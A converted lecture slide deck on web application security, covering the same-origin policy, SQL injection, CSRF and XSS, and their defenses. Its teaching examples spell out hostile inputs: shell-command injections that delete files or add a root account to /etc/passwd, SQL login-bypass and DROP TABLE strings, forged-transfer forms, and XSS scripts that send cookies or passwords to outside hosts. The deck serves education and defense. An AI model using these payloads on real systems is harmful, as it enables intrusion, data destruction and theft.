Web Application Security

* Original slides were prepared by John Mitchell

Goals of web security

Safely browse the web

- Users should be able to visit a variety of web sites, without incurring harm:
 - No stolen information
 - Site A cannot compromise session at Site B

Support secure web applications

 Applications delivered over the web should be able to achieve the same security properties as standalone applications

Web security threat model





Web Attacker

Sets up malicious site visited by victim; no control of network

Alice

Network security threat model





Network Attacker

Intercepts and controls network communication



Alice

Web Threat Models

Web attacker

- Control attacker.com
- Can obtain SSL/TLS certificate for attacker.com
- User visits attacker.com
 - Or: runs attacker's Facebook app, etc.
- Network attacker
 - Passive: Wireless eavesdropper
 - Active: Evil router, DNS poisoning
- Malware attacker
 - Attacker escapes browser isolation mechanisms and run separately under control of OS

Malware attacker

Browsers may contain exploitable bugs

- Often enable remote code execution by web sites
- Google study: [the ghost in the browser 2007]
 - Found Trojans on 300,000 web pages (URLs)
 - Found adware on 18,000 web pages (URLs)

NOT OUR FOCUS

Even if browsers were bug-free, still lots of vulnerabilities on the web
 XSS, SQLi, CSRF, ...

WEB PROGRAMMING BASICS



HTTP Request



HTTP Response



Rendering and events

- Basic browser execution model
 - Each browser window or frame
 - Loads content
 - Renders it
 - Processes HTML and scripts to display page
 - May involve images, subframes, etc.
 - Responds to events
- Events can be
 - User actions: OnClick, OnMouseover
 - Rendering: OnLoad, OnBeforeUnload
 - Timing: setTimeout(), clearTimeout()

Example

<!DOCTYPE html> <html> <body>

```
<h1>My First Web Page</h1>My first paragraph.
```


button onclick="document.write(5 + 6)">Try it</button>
</br>

</body> </html>

Source: http://www.w3schools.com/js/js_output.asp

Document Object Model (DOM)

- Object-oriented interface used to read and write docs
 - web page in HTML is structured data
 - DOM provides representation of this hierarchy
- Examples
 - Properties: document.alinkColor, document.URL, document.forms[], document.links[], document.anchors[]
 - Methods: document.write(document.referrer)
- Includes Browser Object Model (BOM)
 window, document, frames[], history, location, navigator (type and version of browser)

Example

<!DOCTYPE html> <html> <body>

```
<h1>My First Web Page</h1>
My First Paragraph
```

<script> document.getElementById("demo").innerHTML = 5 + 6; </script>

</body> </html>

Source: http://www.w3schools.com/js/js_output.asp

Changing HTML using Script, DOM

HTMI

Some possibilities

- createElement(elementName)
- createTextNode(text)
- appendChild(newChild)
- removeChild(node)

Example: Add a new list item:

var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)

 Item 1

ISOLATION

Frame and iFrame

Window may contain frames from different sources

- Frame: rigid division as part of frameset
- iFrame: floating inline frame

iFrame example

<iframe src="hello.html" width=450 height=100> If you can see this, your browser doesn't understand IFRAME. </iframe>

Why use frames?

- Delegate screen area to content from another source
- Browser provides isolation based on frames
- Parent may work even if frame is broken

Windows Interact

| Collin says | × | | Google 🗖 🛛 💥 | | |
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------|--------------------------|--|--|
| ← → C ☆ https://mail.google.com/a/adambarth.com/#inbox △ ▶ □ ▶ | | | | | |
| Contacts | Callin Collin (2) | webkit-secu Nov 10 | :w3c:webapps | | |
| Google Calendar | E 🖄 Jennifer, Adam (7) | » movie, as p Oct 24 | :webkit-committers | | |
| ▼ Chat | 🔲 🖈 Diane Crawford | > CACM Res Oct 20 | :webkit-dev (1) | | |
| Search, add, or invite | 🔲 🖈 F 🥺 Collin Jackson - chat | - Google Chrome | □ <u>∞</u> <u>9 (18)</u> | | |
| Adam Barth Set status here Collin Jackson DannyAtUCB H9565 hashfxn jeremyhoffman03 ptcrpsnt swingvine.com kstrats03 MuseFanDO am away from my c mwdalton ultima1234 | Image: Constraint of the system https://mail.google.com Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system Image: Constraint of the system <tr< th=""><th>n/a/adambarth.com/?ui=2&ik=028c435017&</th><th></th></tr<> | n/a/adambarth.com/?ui=2&ik=028c435017& | | | |
| | Video & more > | Pop-in | | | |
| | | | | | |

Analogy

Operating system

- Primitives
 - System calls
 - Processes
 - Disk
- Principals: Users
 - Discretionary access control
- Vulnerabilities
 - Buffer overflow
 - Root exploit

Web browser

- Primitives
 - Document object model
 - Frames
 - Cookies / localStorage
- Principals: "Origins"
 - Mandatory access control
- Vulnerabilities

- Cross-site scripting
- Cross-site request forgery
- Cache history attacks

Policy Goals





Safe to visit two pages at the same time

- Address bar
 - distinguishes them



| 😚 http://a.com | http://b.com |
|----------------|--------------|
| A.com | B.com |
| http://a.com | |
| A.(| com |
| B.c | com |
| | |

Browser security mechanism



Each frame of a page has an origin

- Origin = protocol://host:port
- Frame can access its own origin
 - Network access, Read/write DOM, Storage (cookies)
- Frame cannot access data associated with a different origin



-A-

OWASP Top Ten

(2013)

| A-1 | Injection | Untrusted data is sent to an interpreter as part of a command or query. |
|-----|---------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------|
| A-2 | Authentication and Session Management | Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users' identities. |
| A-3 | Cross-site scripting | An application takes untrusted data and sends it to a web browser without proper validation or escaping |
| | Various implementation problems | expose a file, directory, or database key without access control check,misconfiguration, missing function-level access control |
| A-8 | Cross-site request forgery | A logged-on victim's browser sends a forged HTTP request, including the victim's session cookie and other authentication information |
| | | |

https://www.owasp.org/index.php/Top_10_2013-Top_10

Three vulnerabilities we will discuss

SQL Injection

Browser sends malicious input to server

- Bad input checking leads to malicious SQL query
- CSRF Cross-site request forgery
 - Bad web site sends browser request to good web site, using credentials of an innocent victim
- XSS Cross-site scripting
 - Bad web site sends innocent victim a script that steals information from an honest web site

Three vulnerabilities we will discuss

SQL Injection

Browser Uses SQL to change meaning of 'er
 Bad inpl database command SQL query

CSRF – Cross-site request forgery

 Bad wet credenti
 Leverage user's session at victim sever veb site, using "visits" site

XSS – Cross-site scripting

 Bad wet steals in
 Inject malicious script into trusted context script that b site

Command Injection

Background for SQL Injection

General code injection attacks

Attack goal: execute arbitrary code on the server
 Example

 code injection based on eval (PHP)
 http://site.com/calc.php (server side calculator)

```
$in = $_GET['exp'];
eval('$ans = ' . $in . ';');
```



. . .

http://site.com/calc.php?exp=" 10 ; system('rm *.*') "

(URL encoded)

Code injection using system()

Example: PHP server-side code for sending email

\$email = \$_POST["email"]
\$subject = \$_POST["subject"]
system("mail \$email -s \$subject < /tmp/joinmynetwork")</pre>

Attacker can post

http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls

OR

http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo "evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

SQL Injection

Database queries with PHP (the wrong way)

Sample PHP

\$recipient = \$_POST[`recipient'];
\$sql = "SELECT PersonID FROM Person WHERE

Username='\$recipient'";

\$rs = \$db->executeQuery(\$sql);

Problem

What if 'recipient' is malicious string that changes the meaning of the query?



CardSystems Attack

Visi

CardSystems

- credit card payment processing company
- SQL injection attack in June 2005
- put out of business

The Attack

- 263,000 credit card #s stolen from database
- credit card #s stored unencrypted
- 43 million credit card #s exposed

Wordpress : Security Vulnerabilities (SQL Injection) CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 Sort Results By : Cve Number Descending Cve Number Ascending CVSS Score Descending Number Of Exploits Descending Copy Results Download Results Select Table Gained Access L # CVE ID CWE ID # of Exploits Vulnerability Type(s) Publish Date Update Date Score 1 Exec Code Sal 1 CVE-2012-5350 89 2012-10-09 2012-10-10 6.0 None SQL injection vulnerability in the Pay With Tweet plugin before 1.2 for WordPress allows remote authenticated users with cer. parameter in a paywithtweet shortcode. Exec Code Sal 2 CVE-2011-5216 89 2012-10-25 2012-10-26 7.5 None SQL injection vulnerability in ajax.php in SCORM Cloud For WordPress plugin before 1.0.7 for WordPress allows remote attac NOTE: some of these details are obtained from third party information. 1 Exec Code Sal XSS 3 CVE-2011-4899 2012-01-30 2012-01-31 7.5 None ** DISPUTED ** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure th remote attackers to configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct stati request or (2) a MySQL query. NOTE: the vendor disputes the significance of this issue; however, remote code execution me 4 CVE-2011-4669 89 Exec Code Sal 2011-12-02 2012-03-08 None 7.5 SQL injection vulnerability in wp-users.php in WordPress Users plugin 1.3 and possibly earlier for WordPress allows remote a index.php. 5 CVE-2011-3130 89 Sal 2011-08-10 2012-06-28 7.5 User wp-includes/taxonomy.php in WordPress 3.1 before 3.1.3 and 3.2 before Beta 2 has unknown impact and attack vectors rela 6 CVE-2010-4257 89 Exec Code Sal 2010-12-07 2011-01-19 None 6.0 201 intertion unlearshilty in the deliteral/heals function in unitarlydes/comment also in WordPress hafers 2.0 http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html

Example: buggy login page (ASP)

set ok = execute("SELECT * FROM Users
 WHERE user=' " & form("user") & " '
 AND pwd=' " & form("pwd") & " '");
if not ok.EOF
 login success
else fail;

Is this exploitable?


Bad input

- Suppose user = " 'or 1=1 -- '' (URL encoded)
- Then scripts does:
 ok = execute (SELECT ...
 WHERE user= ' ' or 1=1 --- ...)
 The ``--'' causes rest of line to be ignored.
 - Now ok.EOF is always false and login succeeds.

The bad news: easy login to many sites this way.



Suppose user =

- " '; DROP TABLE Users --
- Then script does:
 - ok = execute (SELECT ...
 - WHERE user= ' ' ; DROP TABLE Users ...)

Deletes user table Similarly: attacker can add users, reset pwds, etc.



HI, THIS IS OH, DEAR - DID HE WELL, WE'VE LOST THIS DID YOU REALLY YEAR'S STUDENT RECORDS. YOUR SON'S SCHOOL. BREAK SOMETHING? NAME YOUR SON WE'RE HAVING SOME I HOPE YOU'RE HAPPY. Robert'); DROP IN A WAY-COMPUTER TROUBLE. TABLE Students;-- ? AND I HOPE OH, YES. LITTLE YOU'VE LEARNED BOBBY TABLES, TO SANITIZE YOUR WE CALL HIM. DATABASE INPUTS.

Let's see how the attack described in this cartoon works...

Preventing SQL Injection

Never build SQL commands yourself !

Use parameterized/prepared SQL

Use ORM framework

PHP addslashes()

PHP: addslashes(`` ' or 1 = 1 -- ")

outputs: "\\' or 1=1 -- "

♦ Unicode attack: (GBK) $0x <u>5c</u> → \land
0x <u>bf</u> 27 →$ *č'*<math display="block">0x <u>bf 5c</u> →*k*

◆ addslashes (\$user) \rightarrow 0x <u>bf 5c</u> <u>27</u> \rightarrow 友 "

Correct implementation: mysql_real_escape_string()

Parameterized/prepared SQL

♦ Builds SQL queries by properly escaping args: ' \rightarrow \'

Example: Parameterized SQL: (ASP.NET 1.1)
 Ensures SQL arguments are properly escaped.

SqlCommand cmd = new SqlCommand(
 "SELECT * FROM UserTable WHERE
 username = @User AND
 password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]);

cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();

In PHP: bound parameters -- similar function

Cross Site Request Forgery





Q: how long do you stay logged in to Gmail? Facebook?

Cross Site Request Forgery (CSRF)

- Example:
 - User logs in to bank.com
 - Session cookie remains in browser state
 - User visits another site containing:
 - <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> ... <script> document.F.submit(); </script>
 - Browser sends user auth cookie with request
 - Transaction will be fulfilled
- Problem:
 - cookie auth is insufficient when side effects occur

Form post with cookie



www.attacker.com

Victim Browser



GET /blog HTTP/1.1

<form action=https://www.bank.com/transfermethod=POST target=invisibleframe> <input name=recipient value=attacker> <input name=amount value=\$100> </form> <script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1 Referer: http://www.attacker.com/blog ...cipient=attacker&amount=2-...1

Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK

Transfer complete!

User credentials



www.bank.com



Attack on Home Router

[SRJ'07]

Fact:

- 50% of home users have broadband router with a default or no password
- Drive-by Pharming attack: User visits malicious site
 JavaScript at site scans home network looking for broadband router:
 - SOP allows "send only" messages
 - Detect success using onerror:
 -
 - Once found, login to router and change DNS server
- Problem: "send-only" access sufficient to reprogram router

CSRF Defenses

Secret Validation Token





Referer Validation

facebook

Referer: http://www.facebook.com/home.php

Custom HTTP Header



X-Requested-By: XMLHttpRequest

Secret Token Validation





- Requests include a hard-to-guess secret
 - Unguessability substitutes for unforgeability
- Variations
 - Session identifier
 - Session-independent token
 - Session-dependent token
 - HMAC of session identifier

Secret Token Validation

| | | slicehost | | |
|-------------------------|--------------------------|----------------------------------------------|-------------------------------|---|
| | s://manage.slicehost.cor | n/slices/new | ☆▼ · Gr Google | Q |
| Slices DNS Help Account | | | | |
| My Slices | Add a Slice | | | |
| Add a Slice | Slice Size | | | |
| | 256 slice | \$20.00/month – 10GB HD, 100GB BW | | |
| | 512 slice | \$38.00/month - 20GB HD, 200GB BW | | |
| | IGB slice | \$70.00/month - 40GB HD, 400GB BW | | |
| | 2GB slice | \$130.00/month - 80GB HD, 800GB BW | | |
| | 4GB slice | \$250.00/month – 160GB HD, 1600GB BW | | |
| | 8GB slice | \$450.00/month – 320GB HD, 2000GB BW | | |
| | 15.5GB slic | e \$800.00/month - 620GB HD, 2000GB BW | | |
| | System Image | | | |
| | Ubuntu 8.04 | 4.1 LTS (hardy) | | |
| | Slice Name | | | |
| | | | | |
| | Add Slice or car | ncel | | |
| | NOTE: You will be | charged a prorated amount based upon the nur | mber of days remaining in you | r |

≍/d

g:0"><input name="authenticity_token" type="hidden" value="0114d5b35744b522af8643921bd5a3d899e7fbd2" //

Referer Validation

Facebook Login

For your security, never enter your Facebook password on sites not located on Facebook.com.

| Email: Password: | | | | | | | | | | | | | | | | | | | |
|---------------------|--|--|--|--|--|--|----|--------|------|-------|------|-------|------|------|---|--|--|--|--|
| | | | | | | | | Rem | embe | r me | | | | | | | | | |
| | | | | | | | | Logi | n | or Si | gn u | p for | Face | bool | ¢ | | | | |
| | | | | | | | Fo | rgot y | our | passv | word | ? | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | |

Referer Validation Defense

HTTP Referer header

- Referer: http://www.facebook.com/
- Referer: http://www.attacker.com/evil.html

X

Referer:

Lenient Referer validation

- Doesn't work if Referer is missing
- Strict Referer validaton
 - Secure, but Referer is sometimes absent...

Referer Privacy Problems

 Referer may leak privacy-sensitive information http://intranet.corp.apple.com/ projects/iphone/competitors.html
 Common sources of blocking:

- Network stripping by the organization
- Network stripping by local machine
- Stripped by browser for HTTPS -> HTTP transitions
- User preference in browser
- Buggy user agents

Site cannot afford to block these users

Broader view of CSRF

Abuse of cross-site data export feature From user's browser to honest server Disrupts integrity of user's session Why mount a CSRF attack? Network connectivity Read browser state Write browser state Not just "session riding"



| <u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookma | rks <u>T</u> ools <u>H</u> elp |
|----------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| < > · C × 🏡 (| http://www.kanjiquizzer.com/help/faq.php → • Google |
| | Quizzer provides an interface for studying these images. |
| | Wow! This site is so cool! How can I show my appreciation? |
| | Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation: |
| | PayPal Donate |
| | How does the quizzer choose which kanji to display? |
| | The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active. |
| | How should I use the Sura-Sura Kanji Quizzer service? |
| | All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful. |
| | How does the quizzer calculate the "success rate" of a user? |
| | The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the |

| 🕹 PayPal is the safer, easier way to pay - PayPal - Mozilla Firefo | ох | |
|----------------------------------------------------------------------------------------------------------------|-------------------------------------------|--------------|
| <u>File Edit View History B</u> ookmarks <u>T</u> ools <u>H</u> elp | | |
| C X 🟠 Paypal Inc. (US) https://www.paypa | al.com/us/cgi-bin/webscr?c 🏠 🔹 💽 🕻 Google | P |
| 🛃 FAQ - Sura-Sura Kanji Quizzer 🛛 😰 👂 PayPal is the safer, ea | asier way to 🛛 | • |
| Kanji Quizzer | Total | : \$1.00 |
| | | |
| PayPal is the safer, easier way to pay | PayPal 🗧 | Secure Pa |
| PayPal securely processes payments for Kanji Quizzer. You can fini | ish paying in a few clicks. | |
| | | |
| Why use PayPal? | | |
| Use your credit card online without exposing your card number to merchants. | LOG IN TO PAYPAL | _ |
| Speed through checkout. No need to enter your card number or address | Email: collinj@cs.stanfo | rd.edu |
| address. | Password: | |
|)on't have a PayPal account? Jse your credit card or bank account (where available). <u>Continue</u> | Log In | |
| | | > |
| Done | www.pay | /pal.com 🔒 🛒 |
| | | |
| | | |

| | C× | ☆ (₽ | Paypal Inc | :. (US) https | s://www.pay | pal.com/us | /cgi-bin/web | scr?cr 🏠 | • G | • Google | 5 |
|--------------|------------------|-------------|------------|---------------|--------------|----------------------|----------------------|----------|-----|----------|---|
| d FAQ - Sura | -Sura Kanji Quiz | zzer | | Logging i | n - PayPal | | | | | | |
| PayP | Pal | | | | | | | | | | |
| | | | | | | | | | | | |
| | | | | | | | | | | | |
| | | | | LC | gging in | | | | | | |
| | | | | LC | | | | | | | |
| | | If this | page appe | ears for more | e than 5 sec | onds, <u>click l</u> | <u>here</u> to reloa | ıd. | | | |
| | | If this | page appe | ears for more | e than 5 sec | onds, <u>click</u> | <u>here</u> to reloa | ıd. | | | |
| | | If this | page appe | ears for more | e than 5 sec | onds, <u>click</u> | <u>here</u> to reloa | ıd. | | | |

| Add a Bank Account in the United States - PayPal - Mo | zilla Firefox | | |
|--------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------|---------------------------------------------------------------------------------|---|
| <u>File Edit View History Bookmarks Tools H</u> elp | | | |
| 🔇 🔍 🗸 🕜 🦻 Paypal Inc. (US) https://w | ww.paypal.com/us/cgi-bin/webscr?dispatch= | -5885d80a13r 🏠 🔹 🕞 Google 🎾 | |
| 🛐 FAQ - Sura-Sura Kanji Quizzer 🛛 🔊 🖗 Add a Bank A | ccount in the United区 | | • |
| | Log Out Help Security | Center Search | ^ |
| PavPal | | | |
| i ayi ai | | | |
| | | | |
| My Account Send Money Request Money | Merchant Services Auction Tools | s Products & Services | |
| | | | |
| Add a Bank Account in the Unit | ed States | Secure Transaction 骨 | |
| | | | |
| PayPal protects the privacy of the your financial information funding source for most of your PayPal payments, howeve | n regardless of your payment source. Th r you may change this funding source w | iis bank account will become the default /hen you make a payment. Review our | |
| education page to learn more about PayPal policies and y | our payment-source rights and remedie | 25. | |
| The safety and security of your bank account information is | s protected by PayPal. We protect agains | st unauthorized withdrawals from your | |
| PayPal. | ou by email whenever you deposit or wit | ndraw funds from this bank account using | |
| | | | |
| Country: United States | | | |
| *Bank Name: | | | |
| Account Type: Checking | | | |
| OSavings | | | |
| U.S. Check Sample | | | |
| NENO | | | |
| ·:211554485•: 0012 1456874801# | | | |
| Routing Number Check# Account Number | | | |
| I (9 digits) I (3-17 digits) II | | | |
| *Routing Number: | 9 digits) | | |
| Is usually located between the | symbols on your check. | | |
| Tunicelly serves before the P or | (3-17 digits) | arias fram hank to hank | |
| *Re-enter Account Number: | need to execute and number of digits v | and nonribelik to belik. | |
| | | | |
| | | | |
| | | Continue Cancel | |
| | | | * |
| Done | | www.paypal.com 🔒 | |
| | | | |
| | | | |

Login CSRF



7.0gil 111P/1.1 Referer: http://www.attacker.com/blog me=attacker&password=v HTTP/1.1 200 OK Set-Cookie: SessionID=ZA1Fa34

Victim Browser



www.google.com

GET /search?g=llamas HTTP/1.1 Cookie: SessionID=ZA1Fa34



Attack on origin/referer header



What if honest site sends POST to attacker.com? Solution: origin header records redirect

CSRF Recommendations

Login CSRF

- Strict Referer/Origin header validation
- Login forms typically submit over HTTPS, not blocked

HTTPS sites, such as banking sites

- Use strict Referer/Origin validation to prevent CSRF
- Other
 - Use Ruby-on-Rails or other framework that implements secret token method correctly

Origin header

- Alternative to Referer with fewer privacy problems
- Sent only on POST, sends only necessary data
- Defense against redirect-based attacks

Cross Site Scripting (XSS)

Three top web site vulnerabilites

SQL Injection

Browser
 Bad inpl
 Attacker's malicious code executed on victim server

'er SQL query

CSRF – Cross-site request forgery

 Bad wet Attacker site forges request from veb site, using credenti victim browser to victim server "visits" site

XSS – Cross-site scripting

Bad wet Attacker's malicious code executed on victim browser

script that b site



XSS example: vulnerable site

search field on victim.com:

http://victim.com/search.php ? term = apple

Server-side implementation of search.php:

Bad input

Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open("http://badguy.com?cookie = " + document.cookie) </script>



What if user clicks on this link?

- 1. Browser goes to victim.com/search.php
- 2. Victim.com returns

<HTML> Results for <script> ... </script>

- 3. Browser executes script:
 - Sends badguy.com cookie for victim.com


What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application
- Methods for injecting malicious code:
 - Reflected XSS ("type 1")
 - the attack script is reflected back to the user as part of a page from the victim site
 - Stored XSS ("type 2")
 - the attacker stores the malicious code in a resource managed by the web application, such as a database
 - Others, such as DOM-based attacks



PayPal 2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Source: http://www.acunetix.com/news/paypal.htm

Adobe PDF viewer "feature"

(version <= 7.9)

PDF documents execute JavaScript code http://path/to/pdf/ file.pdf#whatever_name_you_want=javasc ript:code_here

The code will be executed in the context of the domain where the PDF files is hosted This could be used against PDF files hosted on the local filesystem

http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

Here's how the attack works:

 Attacker locates a PDF file hosted on website.com
 Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion

http://website.com/path/to/file.pdf#s=javascript:alert("xss");)

Attacker entices a victim to click on the link

 If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

Note: alert is just an example. Real attacks do something worse.

And if that doesn't bother you...

PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/ Acrobat%207.0/Resource/ ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript Malware now runs in local context with the ability to read local files ...





MySpace.com

• Users can post HTML on their pages

- MySpace.com ensures HTML contains no
 - <script>, <body>, onclick,
- but can do Javascript within CSS tags:
- <div style="background:url('javascript:alert(1)')">
- And can hide "javascript" as "java\nscript"

With careful javascript hacking:

- Samy worm infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
- Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html

Stored XSS using images

. . .

Suppose pic.jpg on web server contains HTML !

request for http://site.com/pic.jpg results in:

HTTP/1.1 200 OK

Content-Type: image/jpeg

<html> fooled ya </html>

IE will render this as HTML (despite Content-Type)

Consider photo sharing sites that support image uploads

• What if attacker uploads an "image" that is a script?

DOM-based XSS (no server used)

Example page

<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,do
cument.URL.length));
</SCRIPT>
</HTML>

Works fine with this URL

http://www.example.com/welcome.html?name=Joe
 But what about this one?

http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>

Amit Klein ... XSS of the Third Kind



How to Protect Yourself (OWASP)

The best way to protect against XSS attacks:

- Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
- Adopt a 'positive' security policy that specifies what is allowed. 'Negative' or attack signature based policies are difficult to maintain and are likely to be incomplete.

Input data validation and filtering

Never trust client-side data

 Best: allow only what you expect

 Remove/encode special characters

 Many encodings, special chars!
 E.g., long (non-standard) UTF-8 encodings

Output filtering / encoding

Remove / encode (X)HTML special chars
 &It; for <, > for >, " for " ...

Allow only safe commands (e.g., no <script>...)

Caution: `filter evasion` tricks

See XSS Cheat Sheet for filter evasion

E.g., if filter allows quoting (of <script> etc.), use

malformed quoting: <SCRIPT>alert("XSS")...

Or: (long) UTF-8 encode, or...

- Caution: Scripts not only in <script>!
 - Examples in a few slides

ASP.NET output filtering

validateRequest: (on by default)

- Crashes page if finds <script> in POST data.
- Looks for hardcoded list of patterns
- Can be disabled: <%@ Page validateRequest="false" %>

| Des For Jew Lillvou | s Toos Geb | | |
|-------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------|--------|
| 🕽 Back 🔹 🔿 🕘 😰 | 🟠 🔎 Search 👷 Favorites 🔮 Media 🕢 😥 - 🦕 | | |
| ddress 🕘 http://localhost | ode/ASP.NET1.1/RequestValidation.aspx | 💌 🔁 😡 | Link |
| Server Erro | r in '/Code' Application. | | |
| A potentially d | angerous Request.Form value was detected from the client (_ctl1=" <script").< td=""><td></td><td></td></script").<> | | |
| Description: Request V your application, such as a recommended that your app | idation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to com ous-site scripting attack. You can disable request validation by setting validateRequest-failse in the Page directive or in the configuration section. However, cation explicitly check all inputs in this case. | promise the secu er, it is strongly | ity of |
| Exception Details: Sy | em.Web.HttpRequest/validationException: A potentially dangerous Request.Form value was detected from the client (_cti1+* <script*).< td=""><td></td><td></td></script*).<> | | |
| Source Error: | | | |
| An unhandled exc location of the | ption was generated during the execution of the current web request. Information regarding th xception can be identified using the exception stack trace below. | ne origin a | bd |
| Stack Trace: | | | |
| [HttpRequestValidat System.Web.Http System.Web.Http System.Web.Http System.Web.UI.P. System.Web.UI.P. System.Web.UI.A System.Web.UI.P. | onException (0x80004005); A potentially dangerous Request.Form value was detected from the client (_ctll= quest.ValidateString(String s, String valueName, String collectionName) quest.ValidateNameValueCollection(NameValueCollection mvc, String collectionName) quest.GetCollectionBasedOrMethod() pe.OetCollectionBasedOrMethod() pe.ProcessRequestMain() pe.ProcessRequest() pe.ProcessRequest() pe.ProcessRequest() pe.ProcessRequest() | "(script"),] | |

Caution: Scripts not only in <script>!

JavaScript as scheme in URI

-
- JavaScript On{event} attributes (handlers)
 - OnSubmit, OnError, OnLoad, ...
- Typical use:
 -
 - <iframe src=`https://bank.com/login` onload=`steal()`>
 - <form> action="logon.jsp" method="post"
 - onsubmit="hackImg=new Image;
 - hackImg.src='http://www.digicrime.com/'+document.for
 - ms(1).login.value'+':'+
 - document.forms(1).password.value;" </form>

Problems with filters

Suppose a filter removes < script</p>

Good case

<script src="..." → src="..."
 </p>

■ But then
• <scriptipt src="..." → <script src="..."</p>

Advanced anti-XSS tools

Dynamic Data Tainting

 Perl taint mode

 Static Analysis

 Analyze Java, PHP to determine possible flow of untrusted input



- Cookie sent over HTTP(s), but not accessible to scripts
 - cannot be read via document.cookie
 - Also blocks access from XMLHttpRequest headers
 - Helps prevent cookie theft via XSS

. but does not stop most other risks of XSS bugs.



What can you do at the client?



http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx

Points to remember

Key concepts

- Whitelisting vs. blacklisting
- Output encoding vs. input sanitization
- Sanitizing before or after storing in database
- Dynamic versus static defense techniques
- Good ideas
 - Static analysis (e.g. ASP.NET has support for this)
 - Taint tracking
 - Framework support
 - Continuous testing

Bad ideas

- Blacklisting
- Manual sanitization

Finding vulnerabilities



Example scanner UI

| Security | Account | Feed | PCI | Tools | Support | Logout | |
|----------|---------|------|-----|-------|---------|--------|--|
| | | | | | | | |

Security Dashboard

| Device Compliance | Network IP Addresses | Status |
|-----------------------------|--------------------------|---------------------------|
| 🗖 Not Compliant 🔲 Compliant | | Unread Alerts |
| 096 096 | 0% | Network Scans In Progress |
| 100% 100% | | Networks Pending Approval |
| McAfee Secure PCI | 🗖 Open 🗖 Alive 🗖 Offline | |



0

0

0

1

Devices

Networks

Security

Dashboard

Alerts

Scans

Discovery

DNS

Audits

Vulnerabilities

Dynamic IP

Reports

Test Vectors By Category



Detecting Known Vulnerabilities

Vulnerabilities for

previous versions of Drupal, phpBB2, and WordPress

| Catagory | Drupal | | phj 2 | pBB2 | Wordpress | | |
|-----------|--------|---------|----------|---------|-------------|---------|--|
